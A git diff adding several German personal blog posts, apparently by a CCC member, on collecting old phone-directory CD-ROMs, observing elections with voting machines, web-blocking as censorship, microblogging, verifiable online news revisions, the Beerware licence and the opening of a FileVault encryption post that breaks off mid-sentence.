+ +Heute war so ein Tag. Nach der Investition von nur 41EUR habe ich nun meine Sammlung komplett. 12 Jahre digitale Fernmeldegeschichte nur eine handbreit entfernt und niemand kann mich mehr aufhalten. Aber der Reihe nach. + +Wie schon in [Die Datenschleuder #77](http://ds.ccc.de/pdfs/ds077.pdf) (Seite 26) und [Die Datenschleuder #86](http://chaosradio.ccc.de/media/ds/ds086.pdf) (Seite 63) angedeutet, habe ich eine – nennen wir es – Sammelleidenschaft fuer elektronisch erfasste Telefon-Teilnehmerverzeichnisse. Gut, man kann argumentieren, dass sich die wirklich spannenden Leute eh nicht dort eintragen lassen, dass die automatisierte Auswertung datenschutzrechtliche Fragen beruehrt, dass dort bewusst falsche Datensaetze eingetragen wurden, um [Kopien von Konkurrenten](http://www.pcwelt.de/start/computer/archiv/10349/topware_pleite/) zu entdecken. + +Man kann aber nicht leugnen, dass sich aus den Informationen zumindest spannende Trends ableiten lassen. Dass sich diese Trends wieder auf den Einzelnen anwenden lassen und so ein buntes, bewegtes Bild Deutschlands gewinnen laesst. + +Vor ungefaehr einem Jahr wurde mir klar, dass man mit den wenigen Momentaufnahmen, die ich aus sportlichen Gruenden aus dem Telefonbuch gewonnen habe, keinen langfristigen Blumentopf gewinnen kann. Und wenn ich eh immer die neueste Version der Daten brauche, dann koennte ich gleich ein Archiv anlegen. + +Mein erster Gedanke war natuerlich eBay, die Ausbeute dort jedoch nicht sehr ergiebig. Bevor ich in einem hellen Moment mal google ausprobierte und mit der Nase auf amazon gestossen wurde, ging die Akquise nur sehr schleppend voran, da auch keiner meiner bekannten Nerds (sonstige Freunde sowieso nicht) so alte CDs/DVDs in ihren Grabbelkisten finden konnte oder wollte, so sie meine Nachfragen ueberhaupt fuer voll genommen hatten. + +Haendler, die noch auf Restposten der diversen Jahrgaenge sassen, freuten sich natuerlich die Platze, fuer den Plastemuell noch den einen oder anderen Euro (in Einzelfaellen gar den unverschaemten Neupreis) zu verdienen, um ihre Lagerflaechen zu entlasten. Bei der Herbstausgabe 1998 war aber auch hier die Antiquitaetsgrenze erreicht, auch, wenn lustigerweise immer noch einzelne Haendler Fruehjahr '98 im Inventar listen, um mir dann bei Bestellung aus "Fehlinventarisierungsgruenden" abzuspringen oder – aus Vorfreude aufs Paket-Sicht noch schlimmer – einfach die aktuell verfuegbare Nachfolger-CD zu schicken. + +Die Recherche erbrachte interessanterweise noch andere Interessenten an den Scheiben, naemlich [Hobby-Ahnenforscher](http://home.bawue.de/~hanacek/info/edatbase.htm). Und dort fand ich dann endlich den Schluessel fuer die noch fehlenden Telefonbuecher: Bibliotheken. Auch, wenn natuerlich keine der oeffentlichen Bibliotheken antike Telefonbuch-CDs rumliegen hat, kann man sich ueber das [Konzept der Fernleihe](https://www.voebb.de/) alle deutschlandweit verfuegbaren Exemplare zukommen lassen. Und nachdem ich auch noch in das Erlernen des Unterschieds zwischen Staats- und oeffentlichen Bibliotheken 25 Euro investieren durfte, befinden sich nunmehr alle Silberscheiben auf dem direkten Wege zu mir. + +Ein Hurra auf ein Land, das Literatur nicht einfach verbrennt oder irgendwo vergammeln laesst, sondern fein saeuberlich aufbewahrt. Und ein verstaendnisloses Dreinstieren, wenn man den Fakt bedenkt, dass nun vier fragile Plastedatentraeger mit ein paar Megabyte historischer Informationen durch Deutschland gekarrt werden, wo es doch nun sogar fuer elektronische Medien eine [digitale Ausleihe](http://www.voebb24.de/) gibt. + +Zugegeben, der Umstand, dass man dort die elektronischen Werke "ausleihen" und "zurueckgeben" muss und dass jeweils nur ein "Exemplar" "ausgeliehen" werden kann, macht einen nachdenken. Fuer meinen Fall spielt das aber leider keine Rolle. + +Fuer meine werte Leserschaft nun noch die – in Saisonhinsicht relativ vollstaendige – Liste der bei mir verfuegbaren Ausgaben. Aufgefuehrt, damit Hacker mit aehnlichem Hobby auf der google-Suche vielleicht hier vorbeikommen und sich die Recherchearbeit sparen. Auch eventuelle Sachspender koennen hier ueberpruefen, ob ihre zuhause verstaubende CD noch nutzbringend Anwendung finden kann. Ueber die 4 CDs von 1996 bis Fruehjahr 1998 wuerde ich mich natuerlich immernoch freuen, da ein kurzfristiger Blick auf die Bibliotheksversion lange nicht so spannend ist, wie der Besitz des Originals. Ansonsten sind die "Map&Route"-Versionen der Telefonbuecher immer gerne genommen, weil auf denen Geokoordinaten Hausnummern- statt Strassen-genau mitgeliefert werden. + +In der Tabelle steht links D2 fuer DVD, Stand Februar und C9 fuer CD, Stand September des jeweiligen Jahres. I bedeutet, dass ich ein ISO oder einen Dump des Datenverzeichnisses habe, Minus heißt, daß ich die CD nicht habe. Kommata im Namen wurden an Zeilenumbruechen auf dem CD/DVD-Cover eingefuegt, Punkte verbatim kopiert und bei "DasTelefonbuch" habe ich kein Space vergessen, das heisst seit Herbst 2003 wirklich so. + +

+
Vor Ort, M&RVor Ort, ohne M&RNur ImageFehltRedundant
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
I4/5/6Teleauskunft 1188 Telefon-Teilnehmer Gesamtausgabe
Deutsche Postreklame, (Dataware) 1992
?
I10Teleauskunft 1188 Telefon-Teilnehmer, Oktober 1995?
I1Telefon-Teilnehmer Gesamtausgabe, Januar 19963-931424-01-4
I2Telefonbuch für Deutschland, Version 1.0 [1996]3-931424-09-X
I2Telefonbuch für Deutschland, Frühjahr 19973-931424-37-5
C8Telefonbuch für Deutschland, Herbst 19973-931424-45-6
I1Telefonbuch für Deutschland, Frühjahr 19983-931424-50-2
C8Telefonbuch für Deutschland, Herbst 19983-931424-60-2
C8Telefonbuch für Deutschland Map & Route, Herbst 19983-931424-65-0
C1Telefonbuch für Deutschland, Frühjahr19993-931424-67-7
C9Das Telefonbuch. Für Deutschland, Herbst 19993-931424-74-X
C2Das Telefonbuch. Für Deutschland, Frühjahr 20003-931424-80-4
C8Das Telefonbuch. Für Deutschland, Herbst 20003-931424-89-8
C2Das Telefonbuch. Für Deutschland, Frühjahr 20013-931424-98-7
C5Das Telefonbuch. Für Deutschland, Sommer 2001?
C8Das Telefonbuch. Für Deutschland, Herbst 20013-934073-04-2
C8Das Telefonbuch. Map&Route. Für Deutschland, Herbst 20013-934073-05-0
I11Das Telefonbuch. Für Deutschland, Winter 2001?
C2Das Telefonbuch. Für Deutschland, Frühjahr 20023-934073-14-X
D8Das Telefonbuch und Gelbe Seiten. Map&Route. Herbst 20023-934073-26-3
D2Das Telefonbuch und Gelbe Seiten. Map&Route. Frühjahr 20033-934073-30-1
C8DasTelefonbuch, Deutschland, Herbst 20033-934073-36-0
C2DasTelefonbuch, Map&Route, Frühjahr 20043-934073-44-1
C8DasTelefonbuch, Map&Route, Herbst 20043-934073-52-2
C2DasTelefonbuch, Map&Route, Frühjahr 20053-934073-61-1
D2DasTelefonbuch, Gelbe Seiten, Map&Route, Frühjahr 20053-934073-64-6
C8DasTelefonbuch, Deutschland, Herbst 20053-934073-68-9
C8DasTelefonbuch, Map&Route, Herbst 20053-934073-69-7
C2DasTelefonbuch, Deutschland, Frühjahr 20063-934073-75-1
D2DasTelefonbuch, Gelbe Seiten, Map&Route, Frühjahr 20063-934073-79-4
C8DasTelefonbuch, Deutschland, Herbst 20063-938913-01-0
C2DasTelefonbuch, Deutschland, Frühjahr 20073-938913-08-6
D2DasTelefonbuch, Gelbe Seiten, Map&Route, Frühjahr 20073-938913-10-9
D8DasTelefonbuch, Gelbe Seiten, Map&Route, Herbst 20073-938913-18-5
D2DasTelefonbuch, Gelbe Seiten, Map&Route, Frühjahr 20083-938913-23-9
C8DasTelefonbuch, Deutschland, Alles in einem, Herbst 20083-938913-27-7
D8DasTelefonbuch, Gelbe Seiten, Map&Route, Herbst 20083-938913-29-1
D2DasTelefonbuch, GelbeSeiten, Map&Route, Frühjahr 20093-938913-37-6
D8DasTelefonbuch, GelbeSeiten, Map&Route, Herbst 20093-938913-43-7
I2DasTelefonbuch, GelbeSeiten, Map&Route, Frühjahr 20103-938913-47-9
C9DasTelefonbuch, Deutschland, Alles in einem, Herbst/Winter 2010/113-938913-50-5
D9DasTelefonbuch, Gelbe Seiten, Map&Route, Herbst/Winter 2010/113-938913-51-2
D3DasTelefonbuch, Gelbe Seiten, Map&Route, Frühjahr/Sommer 20113-938913-61-1
D9DasTelefonbuch, Gelbe Seiten, Map&Route, Herbst/Winter 2011/123-938913-68-0
D3DasTelefonbuch, Gelbe Seiten, Map&Route, Frühjahr/Sommer 20123-938913-71-0
D9DasTelefonbuch, Gelbe Seiten, Map&Route, Herbst/Winter 2012/133-938913-77-2
D3DasTelefonbuch, Gelbe Seiten, Map&Route, Frühjahr/Sommer 20133-938913-83-3
D9DasTelefonbuch, Gelbe Seiten, Map&Route, Herbst/Winter 2013/143-938913-89-5
+
diff --git a/blog/2008/Wahle_beobachte.md b/blog/2008/Wahle_beobachte.md new file mode 100644 index 0000000..a783534 --- /dev/null +++ b/blog/2008/Wahle_beobachte.md @@ -0,0 +1,22 @@ + + +Ich bin einer von denen. Einer von diesen Stressern, die herumfahren und dabei zugucken, wie andere Leute Wahlen abhalten. Wahlen mit Wahlcomputern, um genau zu sein. Und sich das dann alles aufschreiben und stumm nicken oder murmeln oder mit dem Kopf schuetteln. + +Ich bin aber auch einer von denen, die dann im Namen des CCC an Pressemitteilungen schreiben und garstige Dinge ueber unsere Demokratie sagen. Und ueber die Wahlhelfer und die Ablaeufe und die Firmen, die versuchen, an der Wahl Geld zu verdienen. + +Zwischen diesen Persoenlichkeiten klafft eine Luecke. Wenn ich da draussen in fremden Doerfern im Rathaus stehe, oder vor Politikern, mit denen ich eigentlich nichts zu tun habe, dann faellt mir die Artikulation ploetzlich schwer. Dann stehe ich naemlich genau den Leuten gegenueber, die ich doch eigentlich meine. + +In dieser Konfrontation muss ich dann zu hoeflichen Floskeln greifen. Da stehe ich im Wahllokal vor den Wahlleitern. Dann muss ich Dinge sagen wie "natuerlich denke ich nicht, dass hier bei den Wahlen betrogen wird". Und das, wo ich doch eigentlich Dinge meine wie "Sie sind doch verdammt nochmal Beamter und haben einen Eid auf dieses Land geschworen und sollten sich darueber freuen, dass dieses Land Sie sicher und solide bezahlt und es sollte ihnen die zwei Stunden extra Auszaehlen wert sein." + +Und dann stehe ich vor den Lokalpolitikern. Und da muss ich auch Dinge sagen wie "natuerlich denke ich nicht, dass hier bei den Wahlen betrogen wird". Und das, wo ich doch eigentlich Dinge meine wie "Woher zum Geier soll ich wissen, dass Sie nicht betruegen. Ich kenne sie doch gar nicht. Und ich kenne auch keinen der Wahlvorstaende hier. Und Sie sind verdammt nochmal in der gluecklichen Lage, das Vertrauen Ihrer Waehler zu geniessen und die Verantwortung, die diese an Sie delegiert haben. Und Sie sollten diese Legitimation ueber jeden Zweifel erhaben auch in der Wahl gewonnen haben." + +Und dann sitze ich vor den Firmen, die den Gemeinden Wahlcomputer aller Coleur verkaufen wollen. Und dann sage so Dinge wie "Natuerlich denke ich nicht, dass ihre Wahlcomputer bei den Wahlen betruegen, aber..." Und das, wo ich doch eigentlich Dinge meine wie "Ihr wollt verdammt nochmal mit eurer Dilettantenhard- und software an der Demokratie verdienen. Und ihr werdet damit den Boesen Werkzeuge in die Hand geben, Wahlen zu ihrem Gunsten manipulieren zu koennen. Deswegen ist es eure Aufgabe, eine Transparenz herzustellen, die alle – und auch wirklich Alle – davon ueberzeugt, dass die Wahl demokratisch kein Rueckschritt ist." + +Und es ist – nicht! nein! – nicht so, dass ich mich darauf zurueckziehen moechte, Dinge zu sagen wie "Aber was, wenn spaeter einmal jemand kommt, der das mit der Demokratie nicht so genau nimmt." Weder den Wahlhelfern, noch den Politikern, noch den Firmen. Weil es so ist, DASS sie es mit der Demokratie nicht so genau nehmen, wenn sie in einer stillschweigenden Bequemlichkeitskonspiration Zeit gegen Geld eintauschen, das nicht ihr eigenes ist. Weil ich nicht den geringsten Grund habe, diesen Leuten dort heute mehr zu vertrauen, als potentiellen nachfolgenden Generationen von korrupten Politikern, Beamten oder Firmen. Weil die Zeitung schon heute voll ist mit Berichten ueber korrupte Politiker, Beamte und Firmen. + +Und dann sollte mich der gemuetliche Strickpulli und der Schnauzbart und die korrekte Brille meines Gegenuebers nicht davon abhalten, meine grundsaetzliche Distanz beizubehalten. Und meine Bescheidenheit sollte mich auch nicht davon abhalten, von den Damen und Herren die Mehrarbeit einzufordern, die eine wehrhafte Demokratie nun eben kostet und die im Kleinen anfaengt. Die dort beginnt, wo man der vielbeschworenen Verdrossenheit ein Zeichen entgegensetzt. Dass man es naemlich doch noch genau nimmt mit den Wahlen. + +Und ich sollte meinen dicksten Pullover anziehen und Euch das auch mal ins Gesicht sagen. Werd' ich aber nicht machen. Aber ich werde mich natuerlich wieder als Wahlhelfer melden. diff --git a/blog/2009/Der_Zensurbegriff.md b/blog/2009/Der_Zensurbegriff.md new file mode 100644 index 0000000..3406ae0 --- /dev/null +++ b/blog/2009/Der_Zensurbegriff.md @@ -0,0 +1,20 @@ + + +Zwischenfrage: Ede in Singsing bekommt ja seine Briefe immer erst, nachdem Karl-Heinz Redlich einen kurzen Blick dreingeworfen hat, Bedenkliches geschwaerzt und Kassiber komplett kassiert hat. Wie heisst die Taetigkeit, die Kalle dort ausuebt? + +Nun stelle man sich mal vor, man saesse gar nicht ein, aber trotzdem gaebe es da einen Kalle, den man fuer jedes bisschen Text, das man lesen oder schreiben wollte, vorher fragen muesste. Der wuerde dann in einem dicken Katalog waelzen, ob das seine Ordnung haette. Und wenn er keine Bedenken haette, duerfte man die Information konsumieren oder niederlegen. Richtig: Auch das ist Zensur. + +In letzter Zeit hoeren wir, auch von eigentlich gebildeten Menschen, dass die Web-Sperren keine Zensur seien. So argumentierte Heinrich Wefing in der aktuellen Zeit, dass das "Eine Zensur findet nicht statt" aus dem Grundgesetz ja im Konsens als "eine Vorzensur findet nicht statt" ausgelegt werden muesse. Somit sei das Ausfiltern einmal als unrecht erkannten Materials keine Zensur mehr. + +Meines Erachtens nach war dieser Konsens jedoch eine blosse Verneigung vor der Realitaet, dass es bis dato technisch schlicht unmoeglich gewesen ist, auf der Konsumentenseite mit der Zensur anzusetzen. Die Moeglichkeit, Druckwerke in grosser Zahl zu verfielfaeltigen, war einigen grossen Spielern vorbehalten, die im Zweifel zusammengerufen und kontrolliert werden konnten. Man konnte frei publizieren und konnte als Verantwortlicher fuer Druckerzeugnisse, die strafrechtliche Konsequenzen nach sich zogen, belangt werden. + +Neu ist, dass nun nicht mehr die Publikation, sondern die Rezeption jedes Werks im Internet ueberwacht und im Zweifel zensiert oder gar sanktioniert werden soll. Im Netz muss man fuer foermlich jedes Informationszipfelchen die Nameserverinfrastruktur bemuehen. Pro geklickter Webseite koennen das schnell mehrere dutzend Anfragen sein. Und genau bei den Nameservern setzt das Gesetz eine Armada von Kalles an seinen individuellen Index Librorum Prohibitorum. + +Man kann sich die Tragweite dieser Massnahme in die reale Welt uebertragen kaum vorstellen. In allen Bibliotheken und Buchhandlungen muesste man mit dem Buch, das man gerade kaufen moechte, noch vor der Kasse bei Kalle vorbei und haette mit Sanktionen zu rechnen, hielte man das falsche Buch in der Hand. Doch die Analogie fuer das Netz-Sinnesorgan "Browser" ist hier noch zu duerftig: Allein das Betrachten von Buechern im Schaufenster der Buchhandlung, das kurzfristige Aufflackern eines Plakats an einer Litfasssaeule schon waere eigentlich einer Erlaubnis beduerftig. + +Nun ist das Zensurgesetz also um Magnituden monstroeser als alles, was bisher unter dem Begriff "Zensur" durch unsere Kulturgeschichte humpelte. In Ermangelung eines drastischeren Begriffs fuer dieses Ungetuem sei es jedoch erlaubt, vorerst den noch harmloseren Ausdruck zu verwenden. + + diff --git a/blog/2009/Medienschwemme.md b/blog/2009/Medienschwemme.md new file mode 100644 index 0000000..bad785d --- /dev/null +++ b/blog/2009/Medienschwemme.md @@ -0,0 +1,16 @@ + + +Nun bin auch ich darauf reingefallen. Ich wollte es ja erst nicht wahrhaben und habe mich insgeheim bei anderen darueber aufgeregt. Oder zumindest lustig gemacht. Wenn die Eintraege in den Blogs immer kuerzer werden, oder ganz in die Mikroblogging-Welt verschwinden. Wenn die Beitraege fuer Printmedien immer spaerlicher werden, weil man ja nicht wisse, worueber man denn schreiben solle, aber gleichzeitig den kastrierte-Web-SMS-Service mit einer Publikation verwechselt. + +Es ist ja auch wirklich einlullend. Je mehr Accounts ich mir in dieser Netzwelt eingerichtet hatte, desto mehr schrien all diese Medien nach meiner Aufmerksamkeit und meinem Input. Damit sich auch keiner zu kurz gekommen fuehlt, der extra mein "Freund" geworden ist, um den Beitraegen in einem dieser Medien zu folgen, verknuepfte ich all diese Medien automatisiert. Dazu musste ich mich auf den kleinsten gemeinsamen Nenner einigen. Fuer elend geringe Werte von kleinst. + +Aus diesem Grunde aggregiert meine Suppe deswegen seit geraumer Zeit nur noch meine Twitternachrichten. Diesem Feed, den ich eigentlich nur zum Saufeinladungen verschicken und anzuegliche Herrenwitzchen machen eingerichtet hatte, folgen inzwischen ueber 270 Leute, von denen ich die wenigsten kenne. Was habe ich mir auch dabei gedacht, diese ganzen Mikro-Bloggingservices auszuprobieren, die fuer Leute sind, denen Bloggen mit vi zu anstrengend ist? Die Schwelle ist gering. Dass die Schwelle gering ist, ist aber nicht per se etwas Gutes. Ich kann von unterwegs mit meinem Phone bloggen. Prima. Fuer eine re:publica-wuerdige Definition von "Bloggen". + +Was nun das Schlimme ist: die Zeit, die ich den ganzen hippen "jetzt wirklich wirklich"-Diensten hinterhernerde, geht mir von der Zeit ab, die ich mir frueher fuers Texteschreiben genommen habe. Oder anders: 50 Tweets machen nur von der Zeichenzahl her einen Blogpost und sind genauso nahrhaft wie Gratisbonbons beim Gebrauchtwagenhaendler. + +Konsequenz: Twitter ist lokal. Suppe gibt's nur noch per /everyone. Eigenblog rockt! + + diff --git a/blog/2009/Papieraequivalente_Authentizitaet.md b/blog/2009/Papieraequivalente_Authentizitaet.md new file mode 100644 index 0000000..d51ec86 --- /dev/null +++ b/blog/2009/Papieraequivalente_Authentizitaet.md @@ -0,0 +1,24 @@ + + +Fuer den durchschnittlichen Bildungsbuerger sind [memory holes](http://en.wikipedia.org/wiki/Memory_hole) ein Haushaltsbegriff. In digitalen Medien geht das mit dem "schnell was unbehauptet machen" noch schneller. Binsenweisheit, ich weiss. Trotzdem eine kurze Veranschaulichung. + +Jedem Computerbesitzer, der schon einmal ein Bildbearbeitungsprogramm geoeffnet hat, sollten Nachrichten der Art, dass Filesharer anhand von Bildschirmausdrucken des p2p-Tools auf dem Rechner von Strafverfolgern – oder schlimmer gar: privater Rechteverwerter – Strafanzeigen kassiert haben, zumindest ein Stirnrunzeln hervorlocken. + +Verweise der Art "http://test.com/seite.html abgerufen am 24.12.1978" machen dann Sinn, wenn web.archive.org dort just zu diesem Tag vorbeigekommen ist und von der /robots.txt nicht ausgeladen wurde. So rechte Beweiskraft, eventuell gar im juristischen Sinne, duerfte aber auch web.archive.org nicht geniessen. Das auch, obwohl diese Quelle fuer mich plausibel genug als neutral gilt. + +Eine Nachricht im Papier-SPIEGEL kann ich auch Jahre spaeter noch als Quelle oder Beleg in Papierform aus meinem Keller wieder hervorkramen. Die Wahrscheinlichkeit, dass ich mir in der Druckerei meiner Wahl einen eigenen SPIEGEL gefaelscht habe, ist gering. Zur Not liegt ein Pflichtexemplar aller ernstzunehmenden Publikationen bei der Staatsbibliothek als Referenz. + +Anders bei SPIEGEL Online. Einige Autoren sind dafuer beruehmt, dutzende Revisionen eines Artikels in hoher Frequenz zu "updaten". Nachvollziehbar ist ja noch, dass sie – seit sie den Lektor abgeschafft haben – dauernd Rechtschreib- und Grammatikprobleme korrigieren muessen. Wir sehen aber in letzter Zeit den Trend, kommentarlos einst Behauptetes zu entfernen, Ueberschriften abzumildern oder zu verschaerfen. Andere Zeitungen ziehen gar ganze Artikel zurueck. Wenn man Glueck hat, findet man diese noch in seinem Browsercache. Den Beweis zu fuehren, dass dieses elektronische Dokument auch wirklich vom Server der Zeitung geladen wurde, wird dem Leser aber schwerfallen. + +Nun ist ja nachzuvollziehen, dass die (Online-)Magazine nicht ALLE Ausgaben umsonst ALLEN zur Zitatspruefung zur Verfuegung zu stellen wollen. Ich will aber dasselbe Mass an Nachvollziehbarkeit und Belegbarkeit von Veroeffentlichungen der sich selbst **ernst genug** nehmenden Medien! Und zwar im selben Sinne, wie ich das mit den Papierzeitschriften auch konnte. Ich komme deshalb nicht drumherum zu fordern, dass Pruefsummen aller Revisionen an einer oder mehreren unabhaengigen Stellen hinterlegt werden, gegen die ich als Leser und Zitator meine Kopie, aus der ich zitiere, belegen kann. + +Hier bieten sich natuerlich zuerst die Bibliotheken an, die Listen von signierten Pruefsummen vorhalten und bei Disput als autoritative Quelle zum Vergleich herhalten koennten. Diese Signaturen muessten alle teilnehmenden Publikationen leisten - und dass fuer jedes Update. + +Weiter sollen auch Bibliotheken selbst eigene Signaturen auf einzelne Zitate aus einer spezifischen (dann im Volltext vorgehaltenen) Revision eines Online-Artikels herausgeben. Um journalistische Standards zu unterstuetzen und einer breiten Masse an Schreibern das Zitieren zu ermoeglichen, muss dieser Zitatsdienst natuerlich kostenfrei zur Verfuegung stehen. + +Wie genau dies umgesetzt wird, werden viele schlauere Leute als ich gewiss ausbaldowern. Einzig: Das Wohlfuehlgefuel beim Lesen eines Online-Blattes (und dabei schliesse ich "Qualitaetsblogs" explizit mit ein) stellt sich erst ein, wenn nicht yesterdays news im digitalen memory hole verschwinden koennen. + + diff --git a/blog/2010/Weltumsegelung.md b/blog/2010/Weltumsegelung.md new file mode 100644 index 0000000..e1575f3 --- /dev/null +++ b/blog/2010/Weltumsegelung.md @@ -0,0 +1,10 @@ + + +Unsere Generation hat es ja wirklich gut. Es bleibt noch abzuwarten, wie die Lebenserwartung unserer Nachfahren in Anbetracht des [Wandels der Ernährungsgewohnheiten](http://www.babble.com/CS/blogs/strollerderby/2008/12/23-End/FatKids.311155840_std.jpg) sich weiterentwickelt, ob die Allgemeinbildung in die [_vergeßliche Cloud_](http://www.pluspedia.de/index.php/L%C3%B6schh%C3%B6lle) outgesourced wird, mit was unsere Enkel bezahlen werden, wenn sich das mit dem Geld [als Irrweg herausgestellt hat](http://www.bbc.co.uk/dna/h2g2/A2163520), ob die religiösen Hetzer des Finanzextremismus, des Lebensanschauungshomogenismus und der bürgerlichen Zwangstransparenzmachung es schaffen, die Kohorten aufeinander loszuhetzen und natürlich, wie lange wir noch auf genügend [fermentierte Dinokäkel](http://artsdesignblog.com/wp-content/uploads/2008/03/michael-sowa-2d7.jpg "Michael Sowa: Ein Mythos verpufft") zurückgreifen können, um unsere privilegierten Gesäße auf transkontinentale Entdeckungsreisen jetten zu lassen. + +Und just dies habe ich mir vorgenommen, bevor das Benutzen des Luftraums nur noch wenigen Benzinhortern möglich sein wird: Eine empirische Untersuchung, ob [die Erde tatsächlich rund ist](http://www.stjosef.at/index.htm?dokumente/papst_galilei.htm~mainFrame). Dazu werde ich darauf achten, mich auch wirklich nur ostwärts zu bewegen und dabei Zwischenstops an den Orten der Welt machen, an denen ich strategisch gute Freunde stationiert habe. Natürlich ist die gesamte Reise komplett uneigennützig! Als [ausgewiesener Verehrer](http://erdgeist.org/stats/blog/pics/Maulhurpf.jpg) und [Förderer](http://erdgeist.org/Wohnung/CIMG0433.JPG) von [Krtek](http://www.mojvideo.com/video-krtek-in-raketa/81d5a081386189556eee) ist es meine Aufgabe, seine geopolitische Bildung voranzutreiben und [in Bildern zu dokumentieren](http://erdgeist.org/Tokio2/IMG_0310.JPG). Dazu nehme ich die Strapazen der Reise tapfer in Kauf. + +Der erste Reisebericht über die [überraschend kühle erste Station](http://twitter.com/erdgeist/status/9260720384) meiner Reise folgt. diff --git a/blog/2011/Die_Beerware-Lizenz.md b/blog/2011/Die_Beerware-Lizenz.md new file mode 100644 index 0000000..2490c4b --- /dev/null +++ b/blog/2011/Die_Beerware-Lizenz.md @@ -0,0 +1,14 @@ + + +Ich schreibe ja schon seit einer geraumen Weile Software. Vieles von dem, was ich in [meinen Anfängertagen](http://der-walfisch.info/cll.html) schrieb, ist zum Glück vom gnädigen Gott der [verrottenden Bits](http://www.catb.org/~esr/jargon/html/B/bit-rot.html) [aus der Digitale gewaschen](http://news.bbc.co.uk/2/hi/entertainment/3940669.stm) worden. [Floppies](http://your-digital-life.com/preserve-your-images/blu-ray-discs/kids-technology-or-why-your-photos-will-disappear/) und Backupschludrian waren hier die Auslesewerkzeuge. Ein Segen, den die [Kids von heute](http://www.schattenbaum.net/php/echo.php) übrigens nicht mehr erfahren. Vieles, was gewiß nicht einmal das Licht der Öffentlichkeit erblicken hätte sollen, findet ja inzwischen [Produktiveinsatz](http://forum.wordpress-deutschland.org/plugins-und-widgets/60534-problem-mit-datumslokalisierung-einem-plugin-date_i18n.html). Damals, in meiner "guten alten Zeit" hätte der Verlust des Quellcodes aber nicht den Schaden bedeutet, den er heute so anrichtet. In der Szene, in der ich programmierte, lasen wir die Programme ja eh im Disassembly – eigene und die anderer Leute. Es kam dabei vor, daß ich mich über einige besonders umständliche Konstrukte wunderte, die ich in so analysierter Software vorfand, das Konzept von höheren Programmiersprachen und Compilern kam für mich überraschend. Programmierer fanden aber auch händisch Mittel und Wege, das Lesen des Codes mit dem Disassembler trickreich zu erschweren. Es war wichtig, sich auf Parties zusammenzufinden, mit den für [Demos](http://www.pouet.net/groups.php?which=1818) programmierten Effekten zu beeindrucken, sich beim Kaltgetränk über die Kniffe und Erfahrungen auzutauschen – und natürlich zu prahlen. + +Seitdem hat sich einiges geändert. Die meiste Software, mit der ich lesend und schreibend zu tun habe, ist inzwischen selbstverständlich im Quellcode verfügbar. An bestimmter Software darf man überhaupt nicht mehr entwickeln, [ohne die Quellen ebenfalls zu veröffentlichen](http://www.pycs.net/bbum/2004/3/4/). Zu manchem Projekt ist heutzutage Lizenzslalom ein signifikanter Anteil am Zeitbudget geworden. Ich finde das nicht gut. Kids sollten lieber ihre Skills im Programmieren verbessern, statt zu [Möchtegern-Lizenz-Anwälten](http://erdgeist.org/stats/blog/files/Beerware-Thread.txt) zu verkommen. Einige Entwicklungen sind auch auf der Festplatte besser aufgehoben als auf github oder sourceforge. + +An die Benutzung meiner [Open-Source-Software](http://erdgeist.org/arts/software/) stelle ich eigentlich nur zwei Bedingungen: Veröffentliche die nicht [unter deinem Namen](http://polpix.sueddeutsche.com/polopoly_fs/1.1065381.1298797140!/image/image.jpg_gen/derivatives/860x860/image.jpg), und wenn du brauchbar findest, was ich schrieb, dann triff dich mit mir zum Schwank auf ein [Bierchen](http://blog.andreas.org/display?id=12). In der Vergangenheit ist dies schon 1987 (laut eines [unbestätigten WP-Gerüchts](http://en.wikipedia.org/w/index.php?title=Beerware&oldid=5556008 "Beerware&oldid=5556008") angeblich von einem gewissen John Bristor) als [Beerware-Lizenz](http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Beerware) kodifiziert worden und wird von [Poul-Henning Kamp](http://www.freebsd.org/cgi/getmsg.cgi?fetch=506636+517178+/usr/local/www/db/text/1999/freebsd-hackers/19991003.freebsd-hackers) als einem der bekanntesten Vertreter der Autorenzunft bemüht. In der Vergangenheit hat mir diese Lizenz schon einige [feucht-fröhliche](http://torrentfreak.com/pirate-party-fulfills-opentrackers-beerware-license-081231/) und vor allem [gesprächsreiche Abende](http://opentracker.blog.h3q.com/2010/08/05/flattered-by-pirates/) beschert. + +Während ich mich wahrlich nicht beschweren möchte, Pakete mit Bier in meinem Postfach vorzufinden – zuletzt hat eine Shirtdruckerei die Lizenz "eingelöst", für [Nickis](http://www.ddrlexikon.de/nicki/) mit dem von mir entworfenen und unter der Beerware veröffentlichten [Logo](http://alternativlos.org/logo.svg) des [Alternativlos-Podcasts](http://alternativlos.org/) bekam ich drei Fässer [Bier](http://www.felix-welt.de/biersee-im-bus/) zugesendet – sollte der eigentliche Zweck nicht aus den Augen verloren werden. Wer meine Software gebrauchen kann, treibt sich wahrscheinlich auch in der [selben Nische](http://bulk.fefe.de/scalable-networking.pdf) herum, wie ich. Sich da auf ein Bier zusammenzusetzen, erfüllt dabei mehrere Zwecke: Ad 1: ich habe den direkten Feedback zu meinen "Kunden". Ad 2: Ich kann einem selbstgesteckten Bildungsauftrag gerecht werden, aus erster Hand von Fehlern und Irrwegen erzählen, die nicht den Weg digitaler Aufzeichnungen finden sollten. Ad 3: Zwei offensichtlich computeraffine werden zu sozialer Interaktion angehalten. Ad 4: Es fließt Bier. In der Lizenz ist nämlich nicht festgehalten, wer das Bier bezahlen soll. Ich möchte mich nun auch nicht von dankbaren Mithackern aushalten lassen. Und so floß dann bisher auch traditionell das Gros des mir eingeschickten oder auf die Bühne transportierten Biers direkt als [Freibier](http://wingolog.org/archives/2011/01/17/free-as-in-beer) zurück in die Community. + +In diesem Sinne: Prost. diff --git a/blog/2012/FileVault_Service-Post.md b/blog/2012/FileVault_Service-Post.md new file mode 100644 index 0000000..311c2f8 --- /dev/null +++ b/blog/2012/FileVault_Service-Post.md @@ -0,0 +1,16 @@ + + +Seit Version 10.7 kommt Mac OSX mit der Möglichkeit daher, WDE – also "whole disc encryption" – für seine Systemplatte anzuschalten. Mit ein wenig Gefrickel kann man auch externe Platten verschlüsseln lassen. In diesem Text soll es aber darum gehen, wie man sein mobiles Gerät möglichst flughafenkontrollfest schützen kann. Apple nennt seine WDE "FileVault 2". + +In fast allen bekannten WDE-Szenarien hat man ein Paßwort für seine Festplatte, das nicht das selbe ist, wie das Benutzerpaßwort. Letzteres gibt man nämlich gefühlte tausend Mal am Tag mitten im Desktop und eventuell einmal zu leichtfertig und zu oft ein und legt im Speicher seines – oder im schlimmsten Fall eines anderen – Computers diverse Kopien dieses Paßworts an. Das WDE-Paßwort hingegen benutzt man nur in sehr 